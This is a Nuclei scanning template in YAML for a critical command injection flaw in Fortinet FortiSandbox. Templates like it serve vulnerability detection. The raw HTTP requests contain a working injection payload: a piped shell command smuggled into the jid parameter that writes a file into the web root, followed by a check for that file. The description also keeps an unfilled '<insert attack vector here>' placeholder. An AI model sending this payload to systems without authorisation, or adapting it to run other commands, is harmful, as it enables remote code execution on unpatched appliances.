id: CVE-2026-39808

info:
  name: "Fortinet FortiSandbox - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A improper neutralization of special elements used in an os command ('os command injection') vulnerability in
    Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via
    <insert attack vector here>
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-39808&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=fortisandbox&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-39808
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload,vkev,kev
variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'fortisandbox')"
        internal: true

  - raw:
      - |
        GET /ng/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{string}}')"
        condition: and